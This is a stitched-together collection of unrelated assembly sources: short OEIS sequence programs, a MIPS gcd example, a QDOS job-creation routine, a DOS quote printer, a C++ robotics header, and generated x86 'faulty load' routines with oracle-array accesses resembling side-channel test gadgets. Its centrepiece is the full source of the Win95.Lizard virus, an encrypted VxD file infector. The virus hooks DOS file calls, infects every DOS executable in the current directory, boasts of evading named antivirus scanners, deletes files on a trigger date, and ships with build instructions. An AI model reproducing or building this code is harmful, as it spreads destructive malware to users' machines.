; 2,9,2,9,2,9,2,9,2,9,2,9,2,9,2,9,2,9,2,9,2,9,2,9,2,9,2,9,2,9,2,9,2,9,2,9,2,9,2,9,2,9,2,9,2,9,2,9,2,9,2,9,2,9,2,9,2,9,2,9,2,9,2,9,2,9,2,9,2,9,2,9,2,9,2,9,2,9,2,9,2
mod $0,2
mul $0,7
add $0,2
|
.text 0x3000
.globl main
main:
# $t0 and $t1 should contain x and y
# example
li $t0, 26
li $t1, 8
while:
beq $t0, $t1, end_while # x != y
if:
bge $t1, $t0, else # x > y
sub $t0, $t0, $t1 # x = x - y
j end_if
else:
sub $t1, $t1, $t0 # y = y - x
end_if:
j while
end_while:
move $a0, $t0 # print gcd
li $v0, 1
syscall
|
; A180358: n^8+8n
; 0,9,272,6585,65568,390665,1679664,5764857,16777280,43046793,100000080,214358969,429981792,815730825,1475789168,2562890745,4294967424,6975757577,11019960720,16983563193,25600000160,37822859529,54875873712
mov $1,$0
pow $1,8
lpb $0,1
sub $0,1
add $1,8
lpe
|
* Create a job in TPA V2.00 1986 Tony Tebby QJUMP
* 2.01 make sure size & data space are even numbers (wl)
*
section sms
*
xdef sms_crjb
*
xref sms_ckid check job id
xref mem_atpa allocate in tpa
xref sms_rte
*
include dev8_keys_err
include dev8_keys_sys
include dev8_keys_jcbq
*
* d0 r 0, invalid job, out of memory
* d1 cr owner job ID / new job ID
* d2 c p length of code
* d3 c p length of data space
* d7 s new job id (swapped)
* a0 r base of job
* a1 c p start address or 0
* a6 c p base of system variables
*
* all other registers preserved
*
reglist reg d1/a1
stk_oid equ $0
stk_strt equ $4
*
sms_crjb
move.l sp,sys_psf(a6) ; set stack frame (for move superBASIC)
bsr.l sms_ckid ; check job id for possible
bne.l sms_rte ; ... oops
move.l a1,-(sp) ; save job start
move.l d1,-(sp) ; and owner ID
*
* search job table for new job ID
*
move.l sys_jbtb(a6),a1 ; search job table for empty entry
moveq #-1,d7 ; start at 0
*
scj_stab
addq.l #1,d7
move.l (a1)+,d0 ; is it empty?
blt.s scj_atpa ; ... yes, allocate memory
cmp.l sys_jbtt(a6),a1 ; at top?
blt.s scj_stab ; ... no, carry on searching the table
moveq #err.imem,d0 ; ... yes, insufficient memory
*
scj_exer
moveq #-1,d1 ; set non job
bra scj_exit ; and exit
*
scj_atpa
moveq #jcb_end,d1 ; set total memory required, header
addq.l #1,d2
bclr #0,d2
add.l d2,d1 ; + program
addq.l #1,d3
bclr #0,d3
add.l d3,d1 ; + data
bsr.l mem_atpa ; allocate
bne.s scj_exer ; ... oops
*
move.l a0,-(a1) ; set address of job
*
cmp.w sys_jbtp(a6),d7 ; new top job?
ble.s scj_gtag ; ... no
move.w d7,sys_jbtp(a6) ; ... yes, set it
*
scj_gtag
swap d7
move.w sys_jbtg(a6),d7 ; get tag
addq.w #1,sys_jbtg(a6)
bvc.s sjc_fill ; keep it positive
rol.w sys_jbtg(a6) ; and non zero
*
* fill job header
*
sjc_fill
move.l stk_strt(sp),a1 ; get start address
move.l a1,d0 ; given?
bne.s scj_fill ; ... yes
lea jcb_end(a0),a1 ; ... no
scj_fill
addq.l #4,a0 skip length
move.l a1,(a0)+ start address
move.l stk_oid(sp),(a0)+ owner
clr.l (a0)+ released flag
move.w d7,(a0)+ job tag
clr.w (a0)+ priority
clr.l (a0)+ wait, rel address and waiting job
clr.l (a0)+ waiting job id
move.l sys_ertb(a6),(a0)+ exception vector table
*
moveq #jcb_a4-jcb_save,d0 clear up to a4
scj_clear
clr.l (a0)+
subq.w #4,d0
bgt.s scj_clear
*
move.l d2,(a0)+ program size (a4)
move.l d2,d0
add.l d3,d0 total size (a5)
move.l d0,(a0)+
moveq #jcb_end-jcb_a6,d1
add.l a0,d1 end of header
move.l d1,(a0)+ ... base of job (a6)
add.l d1,d0 top of program
subq.l #4,d0 less 4 bytes
move.l d0,(a0)+ ... initial USP
clr.w (a0)+ SR
move.l a1,(a0)+ PC
clr.w (a0)+ event
*
move.l d0,a1 clear TOS
clr.l (a1) (two words)
*
move.l d7,d1 set job ID
swap d1 unswapped
moveq #0,d0 no error
*
scj_exit
addq.l #4,sp remove owner id
move.l (sp)+,a1 restore a1
bra.l sms_rte
end
|
DATA SEGMENT
QUOTE DB ""I could either watch it happen or be a part of it." -Elon Musk of Tesla$"
ENDS
CODE SEGMENT
ASSUME DS:DATA CS:CODE
MAIN:
MOV AX,DATA
MOV DS,AX
LEA DX,QUOTE
MOV AH,9
INT 21H
MOV AH,4CH
INT 21H
ENDS
END MAIN |
// Copyright 2020 Intelligent Robotics Lab
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#ifndef PLANSYS2_EXECUTOR__BEHAVIOR_TREE__CHECK_ATEND_REQ_NODE_HPP_
#define PLANSYS2_EXECUTOR__BEHAVIOR_TREE__CHECK_ATEND_REQ_NODE_HPP_
#include <map>
#include <string>
#include <memory>
#include "behaviortree_cpp_v3/action_node.h"
#include "plansys2_problem_expert/ProblemExpertClient.hpp"
#include "plansys2_executor/ActionExecutor.hpp"
#include "plansys2_executor/Utils.hpp"
#include "plansys2_executor/behavior_tree/execute_action_node.hpp"
namespace plansys2
{
class CheckAtEndReq : public BT::ActionNodeBase
{
public:
CheckAtEndReq(
const std::string & xml_tag_name,
const BT::NodeConfiguration & conf);
void halt() {}
BT::NodeStatus tick() override;
static BT::PortsList providedPorts()
{
return BT::PortsList(
{
BT::InputPort<std::string>("action", "Action whose at end reqs maust stop"),
});
}
private:
std::shared_ptr<std::map<std::string, ActionExecutionInfo>> action_map_;
std::shared_ptr<plansys2::ProblemExpertClient> problem_client_;
};
} // namespace plansys2
#endif // PLANSYS2_EXECUTOR__BEHAVIOR_TREE__CHECK_ATEND_REQ_NODE_HPP_
|
;Win95.Lizard
;-----------------------------------------------------------------------------
;Lizard by Reptile/29A (another version ;)
;-----------------------------------------------------------------------------
; 22222 99999 AAAAA
; 222 222 999 999 AAA AAA
; 222 999999 AAAAAAA
; 222 999 AAA AAA
; 2222222 999999 AAA AAA
;This is an encrypted vxd direct action dos exe infector (I added some anti-
;heuristics and other stuff and optimized the code of v1.0).
;When an infected file is run the virus decrypts itself, drops lzd.vxd to the
;available one of the three dirs and then returns back to the host. After the
;next reboot...
;When windoze 95 is starting, it loads the vxd (lzd.vxd) automatically coz
;it's in the '\iosubsys\' dir (Lizard doesn't need to modify the system.ini
;or the registry). Then the virus takes control and hooks the V86 interrupt
;chain. It executes on exec (4bh), create (3ch), ext. open (6ch), close (3eh)
;and on find first file (4eh) using direct action techniques to infect all
;dos exes in the current directory (*highly* infectious!). Lzd.vxd has a size
;of 7099 bytes (masm sux! :P ), but the victims are only increased by 1967 (!)
;bytes.
;Findvirus v7.75, AVP v3.0 and TBAV v8.03 (high heuristic sensitivity!) can't
;detect it (all for win95).
;Compiling lzd.vxd (win95 DDK):
;makefile
;Compiling rmlzd.inc:
;tasm /m2 rmlzd.asm
;tlink /t rmlzd.obj
;file2db rmlzd.com (or another db generator)
;modify rmlzd.dat
;To install copy lzd.vxd to one of the following dirs:
;- c:\windows\system\iosubsys
;- c:\win95\system\iosubsys
;- c:\windows.000\system\iosubsys
;...or start lizard.exe :)
;P.S.:
;Sandy: are u lucky now? ;)
;Jacky: thanx for testing it!
;GriYo: the stack stuff really didn't work :P
;P.P.S:
;TrY MaGiC MuShRoOmS...
;---[LZD.ASM]-----------------------------------------------------------------
.386p
.xlist
include vmm.inc
.list
vxdhsize equ 701
vxddsize equ 81
vxdcsize equ 880
esize equ encend - encstart
vsize equ vend - start
Declare_Virtual_Device LZD, 6, 66, LZD_Control, Undefined_Device_Id, \
Undefined_Init_Order,,
VxD_Locked_Data_Seg
wcard db '*.e?e',0 ;*.l?z
include rmlzd.inc ;realmode code
dflag db 0
pflag db 0
ndta db 43 dup (?)
header db 26 dup (?)
VxD_Locked_Data_Ends
;-----------------------------------------------------------------------------
VxD_Locked_Code_Seg
BeginProc LZD_Device_Init
;trigger
mov ah,2ah ;get date
vxdint 21h
;live drazil si
cmp dh,10 ;26.10.?
jne npload
cmp dl,26
jne npload
mov pflag,1 ;hehe
npload:
mov eax,21h ;install int 21h handler
mov esi,offset32 int21h
VMMcall Hook_V86_Int_Chain
clc
ret
EndProc LZD_Device_Init
;-----------------------------------------------------------------------------
BeginProc int21h
cmp [ebp.Client_AH],4bh ;exec
je short ww
cmp [ebp.Client_AH],3ch ;create
je short ww
cmp [ebp.Client_AH],6ch ;ext. open
je short ww
cmp [ebp.Client_AH],3eh ;close
je short ww
cmp [ebp.Client_AH],4eh ;find first
je short ww
jmp prevhook
ww:
Push_Client_State ;save regs
VMMcall Begin_Nest_Exec
;-----------------------------------------------------------------------------
cmp dflag,1
je done
mov ax,3d02h ;open lzd.vxd
lea edx,dropname1 ;in the 'c:\windows\system\iosubsys' dir
vxdint 21h
jnc short rd
mov ax,3d02h ;open the vxd
lea edx,dropname2 ;in the 'c:\win95\system\iosubsys' dir
vxdint 21h
jnc short rd
mov ax,3d02h ;open the vxd
lea edx,dropname3 ;in the 'c:\windows.000\system\iosubsys' dir
vxdint 21h
jc ecsit ;skip it
rd:
xchg ax,bx
mov ah,3fh ;store the header of the vxd
mov cx,vxdhsize
lea edx,vxdheader
vxdint 21h
mov ax,4201h ;jmp over zeros
xor cx,cx
mov dx,3400
vxdint 21h
mov ah,3fh ;store the vxddata
mov cx,vxddsize
lea edx,vxddata
vxdint 21h
mov ax,4201h ;jmp over realmodecode and zeros
xor cx,cx
mov dx,2037
vxdint 21h
mov ah,3fh ;store the vxdcode
mov cx,vxdcsize
lea edx,vxdcode
vxdint 21h
mov ah,3eh ;close...
vxdint 21h
mov dflag,1 ;set flag
;-----------------------------------------------------------------------------
done:
mov ah,1ah ;set dta
lea edx,ndta
vxdint 21h
ffirst:
mov ah,4eh ;search for first exe
jmp short w
fnext:
mov ah,4fh ;find next exe
w:
mov cx,7
lea edx,wcard ;*.e?e
vxdint 21h
jc ecsit
mov ax,4301h ;set normal attribute
mov cx,20h
lea edx,[ndta + 30]
vxdint 21h
cmp pflag,1 ;sux0ring microsuckers
jne pheeew ;(the payload in v1.0 was a bit too destructive ;)
evil:
;evil payload against the imperialism of microsoft!
mov ah,41h ;yhcrana
lea edx,[ndta + 30]
vxdint 21h
jmp ecsit
pheeew:
mov ax,3d02h ;open the victim
lea edx,[ndta + 30]
vxdint 21h
jc fnext
xchg ax,bx
mov ah,3fh ;read header
mov cx,26
lea edx,header
vxdint 21h
cmp word ptr [header],'ZM' ;exe?
jne cfile
cmp word ptr [header + 0ch],0ffffh ;allocate all mem?
jne cfile
cmp word ptr [header + 18h],40h ;win exe?
je cfile
mov al,[header + 12h] ;infected?
or al,al
jne cfile
;save ss:sp
mov ax,word ptr [header + 0eh]
mov sseg,ax
mov ax,word ptr [header + 10h]
mov ssp,ax
;save cs:ip
mov eax,dword ptr [header + 14h]
mov csip,eax
mov ax,4202h ;eof
xor cx,cx
cwd
vxdint 21h
;calc new cs:ip
mov cx,16
div cx
sub ax,word ptr [header + 8]
mov word ptr [header + 14h],dx
mov word ptr [header + 16h],ax
add edx,vend ;calc stack
mov word ptr [header + 0eh],ax
mov word ptr [header + 10h],dx
;xor encryption
rdnm:
in al,40h
or al,al
je rdnm
mov [encval],al ;save random value
mov edi,offset32 encstart
mov cx,esize
xl:
xor [edi],al
inc edi
loop xl
;write virus
mov ah,40h
mov cx,vsize
mov edx,offset32 start
vxdint 21h
;undo
mov al,[encval]
mov edi,offset32 encstart
mov cx,esize
xll:
xor [edi],al
inc edi
loop xll
mov ax,4202h ;eof
xor cx,cx
cwd
vxdint 21h
mov cx,512 ;calc pages
div cx
or dx,dx
jz short np
inc ax
np:
mov word ptr [header + 4],ax
mov word ptr [header + 2],dx
mov ax,4200h ;bof
xor cx,cx
cwd
vxdint 21h
rnd:
in al,40h ;set infection flag
or al,al
je rnd
mov [header + 12h],al
mov ah,40h ;write new header
mov cx,26
lea edx,header
vxdint 21h
cfile:
mov cl,byte ptr [ndta + 21] ;restore attribute
lea edx,[ndta + 1eh]
mov ax,4301h
vxdint 21h
mov cx,word ptr [ndta + 22] ;restore time/date
mov dx,word ptr [ndta + 24]
mov ax,5701
vxdint 21h
mov ah,3eh ;close file
vxdint 21h
jmp fnext
ecsit:
VMMcall End_Nest_Exec
Pop_Client_State
prevhook:
stc
ret
EndProc int21h
;-----------------------------------------------------------------------------
BeginProc LZD_Control
Control_Dispatch Init_Complete,LZD_Device_Init
clc
ret
EndProc LZD_Control
wb db 13,10,'Lizard by Reptile/29A',0
VxD_Locked_Code_Ends
End ;this is the end my only friend the end...
;---[RMLZD.ASM]---------------------------------------------------------------
;Lizard's real mode portion
.286
vxdhsize equ 701
vxddsize equ 81
vxdcsize equ 880
esize equ encend - encstart
rmsize equ rmend - rmstart
.model tiny
.code
org 100h
start:
rmstart:
;get delta
;-----------------------------------------------------------------------------
call $ + 3
drazil:
pop si
sub si,offset drazil
push si
pop bp
;-----------------------------------------------------------------------------
push ds ;coz psp
push cs
pop ds
;decrypt it
db 176 ;mov al
encval db 0
;-----------------------------------------------------------------------------
lea di,[bp + offset encstart]
mov cx,esize
xd:
jmp fj
fj2:
inc di
loop xd
jmp encstart
fj:
xor [di],al
jmp fj2
;-----------------------------------------------------------------------------
encstart:
mov ax,3d00h ;try to open lzd.vxd in
lea dx,[bp + offset dropname1] ;c:\windows\system\iosubsys
int 21h
jnc cfile ;exit if already installed
mov ah,3ch ;install lzd.vxd
xor cx,cx
int 21h
jnc inst
mov ax,3d00h ;try to open lzd.vxd in
lea dx,[bp + offset dropname2] ;c:\win95\system\iosubsys
int 21h
jnc cfile
mov ah,3ch
xor cx,cx
int 21h
jnc inst
mov ax,3d00h ;try to open lzd.vxd in
lea dx,[bp + offset dropname3] ;c:\windows.000\system\iosubsys
int 21h
jnc cfile
mov ah,3ch
xor cx,cx
int 21h
jc exit
inst:
xchg ax,bx
mov ah,40h ;write the header
mov cx,vxdhsize
lea dx,[bp + offset vxdheader]
int 21h
;write some zeros
mov cx,3400
lzero:
push cx
mov ah,40h
mov cx,1
lea dx,[bp + zero]
int 21h
pop cx
loop lzero
mov ah,40h ;write the data
mov cx,vxddsize
lea dx,[bp + offset vxddata]
int 21h
mov ah,40h ;write the rmcode
mov cx,rmsize
lea dx,[bp + offset rmstart]
int 21h
;write some more zeros
mov cx,1732
lzero2:
push cx
mov ah,40h
mov cx,1
lea dx,[bp + zero]
int 21h
pop cx
loop lzero2
mov ah,40h ;write the code
mov cx,vxdcsize
lea dx,[bp + offset vxdcode]
int 21h
cfile:
mov ah,3eh
int 21h
;exe return
exit:
pop ax ;psp
add ax,11h
dec ax
add word ptr [bp + offset csip + 2],ax
;stack
db 5 ;add ax
sseg dw 0fff0h ;test
mov ss,ax
db 0bch ;mov sp
ssp dw 0fffeh
db 0eah
csip dd 0fff00000h
zero db 0
dropname1 db 'c:\windows\system\iosubsys\lzd.vxd',0
dropname2 db 'c:\win95\system\iosubsys\lzd.vxd',0
dropname3 db 'c:\windows.000\system\iosubsys\lzd.vxd',0
rmend:
vxdheader db vxdhsize dup (?)
vxddata db vxddsize dup (?)
vxdcode db vxdcsize dup (?)
encend:
ends
end start
;---[RMLZD.INC]---------------------------------------------------------------
;Modified db listing of rmlzd.com
start:
db 0E8h, 000h, 000h, 05Eh, 081h, 0EEh, 003h, 001h
db 056h, 05Dh, 01Eh, 00Eh, 01Fh, 0B0h
;db 000h
encval db 0
db 08Dh
db 0BEh, 021h, 001h, 0B9h, 08Eh, 007h, 0EBh, 005h
db 047h, 0E2h, 0FBh, 0EBh, 004h, 030h, 005h, 0EBh
db 0F7h
encstart:
db 0B8h, 000h, 03Dh, 08Dh, 096h, 0C6h, 001h
db 0CDh, 021h, 073h, 07Fh, 0B4h, 03Ch, 033h, 0C9h
db 0CDh, 021h, 073h, 026h, 0B8h, 000h, 03Dh, 08Dh
db 096h, 0E9h, 001h, 0CDh, 021h, 073h, 06Ch, 0B4h
db 03Ch, 033h, 0C9h, 0CDh, 021h, 073h, 013h, 0B8h
db 000h, 03Dh, 08Dh, 096h, 00Ah, 002h, 0CDh, 021h
db 073h, 059h, 0B4h, 03Ch, 033h, 0C9h, 0CDh, 021h
db 072h, 055h, 093h, 0B4h, 040h, 0B9h, 0BDh, 002h
db 08Dh, 096h, 031h, 002h, 0CDh, 021h, 0B9h, 048h
db 00Dh, 051h, 0B4h, 040h, 0B9h, 001h, 000h, 08Dh
db 096h, 0C5h, 001h, 0CDh, 021h, 059h, 0E2h, 0F1h
db 0B4h, 040h, 0B9h, 051h, 000h, 08Dh, 096h, 0EEh
db 004h, 0CDh, 021h, 0B4h, 040h, 0B9h, 031h, 001h
db 08Dh, 096h, 000h, 001h, 0CDh, 021h, 0B9h, 0C4h
db 006h, 051h, 0B4h, 040h, 0B9h, 001h, 000h, 08Dh
db 096h, 0C5h, 001h, 0CDh, 021h, 059h, 0E2h, 0F1h
db 0B4h, 040h, 0B9h, 070h, 003h, 08Dh, 096h, 03Fh
db 005h, 0CDh, 021h, 0B4h, 03Eh, 0CDh, 021h, 058h
db 005h, 011h, 000h, 048h, 001h, 086h, 0C3h, 001h
db
;db 0F0h, 0FFh
sseg dw 0fff0h ;not necessary
db 08Eh, 0D0h, 0BCh
;db 0FEh, 0FFh
ssp dw 0fffeh
db
;db 000h, 000h, 0F0h, 0FFh
csip dd 0fff00000h
db 000h
;db 063h, 03Ah
;db
;db
;db
;db
;db
;db
;db
;db 073h, 05Ch, 06Ch, 07Ah, 064h, 02Eh, 076h, 078h
;db 064h, 000h, 063h, 03Ah, 05Ch, 077h, 069h, 06Eh
;db 064h, 06Fh, 077h, 073h, 02Eh, 030h, 030h, 030h
;db 05Ch, 073h, 079h, 073h, 074h, 065h, 06Dh, 05Ch
;db
;db
;db
dropname1 db 'c:\windows\system\iosubsys\lzd.vxd',0
dropname2 db 'c:\win95\system\iosubsys\lzd.vxd',0
dropname3 db 'c:\windows.000\system\iosubsys\lzd.vxd',0
vxdheader db vxdhsize dup (?)
vxddata db vxddsize dup (?)
vxdcode db vxdcsize dup (?)
encend:
vend:
;---[LZD.DEF]-----------------------------------------------------------------
VXD LZD DYNAMIC
DESCRIPTION ''
SEGMENTS
_LPTEXT CLASS 'LCODE' PRELOAD NONDISCARDABLE
_LTEXT CLASS 'LCODE' PRELOAD NONDISCARDABLE
_LDATA CLASS 'LCODE' PRELOAD NONDISCARDABLE
_TEXT CLASS 'LCODE' PRELOAD NONDISCARDABLE
_DATA CLASS 'LCODE' PRELOAD NONDISCARDABLE
CONST CLASS 'LCODE' PRELOAD NONDISCARDABLE
_TLS CLASS 'LCODE' PRELOAD NONDISCARDABLE
_BSS CLASS 'LCODE' PRELOAD NONDISCARDABLE
_ITEXT CLASS 'ICODE' DISCARDABLE
_IDATA CLASS 'ICODE' DISCARDABLE
_PTEXT CLASS 'PCODE' NONDISCARDABLE
_PDATA CLASS 'PDATA' NONDISCARDABLE SHARED
_STEXT CLASS 'SCODE' RESIDENT
_SDATA CLASS 'SCODE' RESIDENT
_DBOSTART CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING
_DBOCODE CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING
_DBODATA CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING
_16ICODE CLASS '16ICODE' PRELOAD DISCARDABLE
_RCODE CLASS 'RCODE'
EXPORTS
LZD_DDB @1
;---[MAKEFILE]----------------------------------------------------------------
NAME = lzd
LINK = LINK
ASM = ml
AFLAGS = -coff -DBLD_COFF -DIS_32 -W2 -c -Cx -Zm -DMASM6 -DDEBLEVEL=0
ASMENV = ML
LFLAGS = /VXD /NOD
.asm.obj:
set $(ASMENV)=$(AFLAGS)
$(ASM) -Fo$*.obj $<
all : $(NAME).VXD
OBJS = lzd.obj
lzd.obj: lzd.asm
$(NAME).VxD: $(NAME).def $(OBJS)
link @<<$(NAME).lnk
$(LFLAGS)
/OUT:$(NAME).VxD
/MAP:$(NAME).map
/DEF:$(NAME).def
$(OBJS)
<<
@del *.exp>nul
@del *.lib>nul
@del *.map>nul
@del *.obj>nul
;...
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %rax
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0x17275, %r12
nop
nop
nop
cmp %rsi, %rsi
mov (%r12), %di
nop
nop
nop
inc %rdi
lea addresses_UC_ht+0x175fd, %rsi
lea addresses_A_ht+0x1aafd, %rdi
xor $53705, %rax
mov $67, %rcx
rep movsb
nop
nop
nop
nop
and %rax, %rax
lea addresses_normal_ht+0x12d2d, %rbp
clflush (%rbp)
nop
nop
nop
nop
dec %r10
mov $0x6162636465666768, %rcx
movq %rcx, %xmm4
movups %xmm4, (%rbp)
nop
nop
nop
nop
and $22693, %rbp
lea addresses_WT_ht+0x3d55, %r10
nop
nop
nop
and $19078, %rbp
mov (%r10), %r12d
nop
nop
nop
nop
cmp %rdi, %rdi
lea addresses_UC_ht+0x95fd, %rsi
lea addresses_D_ht+0x19e55, %rdi
nop
and %rdx, %rdx
mov $62, %rcx
rep movsq
nop
add $8081, %rcx
lea addresses_WC_ht+0x80bd, %rax
clflush (%rax)
and $24767, %rcx
movb $0x61, (%rax)
nop
nop
nop
dec %rdx
lea addresses_A_ht+0x37a5, %rax
nop
cmp $2620, %rcx
and $0xffffffffffffffc0, %rax
vmovaps (%rax), %ymm4
vextracti128 $0, %ymm4, %xmm4
vpextrq $0, %xmm4, %r12
nop
sub %rbp, %rbp
lea addresses_normal_ht+0x11acd, %rsi
lea addresses_D_ht+0x42fd, %rdi
sub %rdx, %rdx
mov $56, %rcx
rep movsb
nop
add $62907, %rdx
lea addresses_D_ht+0xd1fd, %rsi
lea addresses_D_ht+0x15ffd, %rdi
nop
nop
sub %rax, %rax
mov $122, %rcx
rep movsw
nop
nop
nop
nop
xor $41545, %rax
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r13
push %r15
push %r9
push %rdx
// Store
mov $0x4a18b20000000501, %r15
nop
add $12240, %r9
movb $0x51, (%r15)
nop
nop
nop
nop
xor %r15, %r15
// Faulty Load
lea addresses_RW+0x1e1fd, %r13
clflush (%r13)
nop
nop
nop
and %r11, %r11
mov (%r13), %r12
lea oracles, %rdx
and $0xff, %r12
shlq $12, %r12
mov (%rdx,%r12,1), %r12
pop %rdx
pop %r9
pop %r15
pop %r13
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 1, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 3, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 32, 'AVXalign': True, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}}
{'32': 54}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r14
push %r8
push %r9
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0x210e, %rbp
nop
nop
nop
cmp $44164, %r8
mov $0x6162636465666768, %rbx
movq %rbx, (%rbp)
nop
add $34338, %r14
lea addresses_WT_ht+0x831e, %rdx
nop
nop
nop
xor $56183, %r11
mov (%rdx), %r9w
nop
nop
nop
nop
nop
sub %rbx, %rbx
lea addresses_WT_ht+0xe7c6, %r9
nop
xor %rbx, %rbx
mov $0x6162636465666768, %rdx
movq %rdx, %xmm7
movups %xmm7, (%r9)
nop
add %rdx, %rdx
lea addresses_D_ht+0x1c21e, %rsi
lea addresses_A_ht+0x19dee, %rdi
nop
nop
nop
nop
nop
cmp $51368, %r9
mov $33, %rcx
rep movsb
nop
nop
nop
inc %rdi
lea addresses_D_ht+0x1851e, %rsi
lea addresses_A_ht+0x1711e, %rdi
nop
nop
xor %rdx, %rdx
mov $9, %rcx
rep movsw
nop
nop
nop
and %rdx, %rdx
lea addresses_WT_ht+0xa352, %rbp
nop
nop
nop
nop
and %rdi, %rdi
movb $0x61, (%rbp)
nop
nop
nop
nop
dec %r8
lea addresses_WT_ht+0x971e, %rbp
nop
dec %r11
movb $0x61, (%rbp)
nop
add $63487, %rdx
lea addresses_UC_ht+0x441e, %rsi
lea addresses_D_ht+0x491e, %rdi
nop
nop
nop
dec %rdx
mov $26, %rcx
rep movsw
nop
nop
nop
nop
nop
inc %rsi
lea addresses_A_ht+0xf31e, %rsi
lea addresses_WT_ht+0x4b1e, %rdi
sub $14479, %rbx
mov $77, %rcx
rep movsq
xor $5327, %rbp
lea addresses_WC_ht+0x1627e, %rsi
lea addresses_UC_ht+0x5ade, %rdi
nop
nop
nop
nop
sub $65297, %r14
mov $76, %rcx
rep movsq
nop
cmp %rsi, %rsi
lea addresses_D_ht+0x831e, %r8
xor %rdx, %rdx
movb (%r8), %r14b
nop
nop
nop
nop
nop
mfence
lea addresses_D_ht+0xeede, %r8
nop
nop
inc %r11
movw $0x6162, (%r8)
nop
nop
nop
nop
xor $16703, %r14
lea addresses_WC_ht+0x6bde, %r14
nop
nop
nop
nop
nop
add %rdi, %rdi
mov (%r14), %r11w
nop
add $43396, %rdx
lea addresses_UC_ht+0x91ae, %rsi
lea addresses_A_ht+0x13b9e, %rdi
clflush (%rsi)
nop
nop
nop
add %r8, %r8
mov $9, %rcx
rep movsw
nop
dec %rbp
lea addresses_normal_ht+0x3854, %r11
nop
sub $35366, %rdx
mov $0x6162636465666768, %rcx
movq %rcx, %xmm4
vmovups %ymm4, (%r11)
nop
and %rbx, %rbx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r8
pop %r14
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r9
push %rax
push %rbp
push %rcx
push %rsi
// Store
lea addresses_normal+0x1acea, %rbp
nop
sub $9607, %r13
movw $0x5152, (%rbp)
nop
nop
and $28516, %r13
// Load
lea addresses_RW+0x1a592, %r9
nop
nop
nop
nop
cmp $9974, %rax
movntdqa (%r9), %xmm4
vpextrq $0, %xmm4, %rsi
nop
nop
sub %rsi, %rsi
// Store
lea addresses_US+0x6ade, %r9
add %r11, %r11
movw $0x5152, (%r9)
dec %rcx
// Faulty Load
lea addresses_WC+0xf1e, %rcx
add %rax, %rax
mov (%rcx), %bp
lea oracles, %r9
and $0xff, %rbp
shlq $12, %rbp
mov (%r9,%rbp,1), %rbp
pop %rsi
pop %rcx
pop %rbp
pop %rax
pop %r9
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_normal'}}
{'src': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 16, 'NT': True, 'type': 'addresses_RW'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_US'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 2, 'NT': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_UC_ht'}}
